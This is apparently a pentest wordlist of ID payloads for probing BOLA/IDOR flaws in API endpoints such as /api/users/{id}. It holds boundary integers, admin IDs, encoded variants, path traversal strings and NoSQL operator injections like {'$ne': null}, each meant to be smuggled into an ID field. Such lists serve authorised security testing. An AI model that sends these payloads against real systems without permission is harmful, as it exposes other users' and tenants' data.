# BOLA / IDOR test ID patterns
# Use to iterate against endpoints like /api/users/{id}, /api/orders/{id}

# Sequential integers
1
2
3
100
101
1000
9999
99999

# Zero / negative / overflow
0
-1
-999
2147483647
2147483648
9999999999

# Common admin / test IDs
admin
root
0000
00000000-0000-0000-0000-000000000000
11111111-1111-1111-1111-111111111111

# UUIDs (substitute from discovered user B)
{{user_b_uuid}}
{{other_tenant_uuid}}

# Encoded variants of numeric ID "123"
MTIz
123
0x7b
\u0031\u0032\u0033

# Timestamp-like IDs
1700000000
1700000001

# Path traversal in ID field
../admin
../../admin
%2e%2e%2fadmin

# SQL/noSQL wildcards in ID field
*
%
null
{"$ne": null}
{"$gt": ""}
